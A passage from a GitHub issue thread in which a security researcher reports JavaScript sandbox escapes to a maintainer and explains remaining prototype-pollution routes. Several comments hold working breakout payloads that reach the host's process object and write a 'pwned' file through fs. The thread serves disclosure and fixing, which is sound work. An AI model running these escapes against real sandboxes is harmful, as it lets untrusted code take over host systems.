	try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a

@XmiliaH
Copy link

XmiliaH commented May 2, 2024

h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
	console.log(_, r);
	a.then=1;
	r(a);
	try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a

@mgttt
Copy link
Contributor

mgttt commented May 2, 2024

done s31

h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
	console.log(_, r);
	a.then=1;
	r(a);
	try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a

@XmiliaH
Copy link

XmiliaH commented May 2, 2024

I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.

Here is the last one from me:

h=console.log;
Array.prototype.push=function(){this.then=r=>(x=[(_,r)=>{
	this.then=1;
	r(this);
	try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{this.then=x}
}].map(h.bind,h.call)[0])(r)};
[1]

@mgttt
Copy link
Contributor

mgttt commented May 3, 2024

OK, thank you very much!

just one more question, may I know the prototype pollution problem refer to "prototype" or "__proto__"? Because the __proto__ seems already prevent by using defineProperty()

I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.

@mgttt mgttt removed the rc4 label May 3, 2024
@XmiliaH
Copy link

XmiliaH commented May 3, 2024

First of all, __proto__ in the sandbox seems be allowed again, so you can just get the getter via __defineGetter__ or Object.getOwnPropertyDescriptors and use it on any object, including host objects to get the prototype and put a property on it.

Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via .constructor.prototype and just write a property on it.

Furthermore, I would also count console.log.toString=... as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.

Also the __defineGetter__ seems to be allowed in the sandbox again which could be used to make then a getter again.

@mgttt
Copy link
Contributor

mgttt commented May 3, 2024

Thank you again for the details all along

I did remove some code after test so-called passed, I'll try to improve the test skill and fix the problems you mentioned.

Have a nice day.

First of all, __proto__ in the sandbox seems be allowed again, so you can just get the getter via __defineGetter__ or Object.getOwnPropertyDescriptors and use it on any object, including host objects to get the prototype and put a property on it.

Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via .constructor.prototype and just write a property on it.

Furthermore, I would also count console.log.toString=... as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.

Also the __defineGetter__ seems to be allowed in the sandbox again which could be used to make then a getter again.

@mgttt mgttt closed this as completed May 6, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants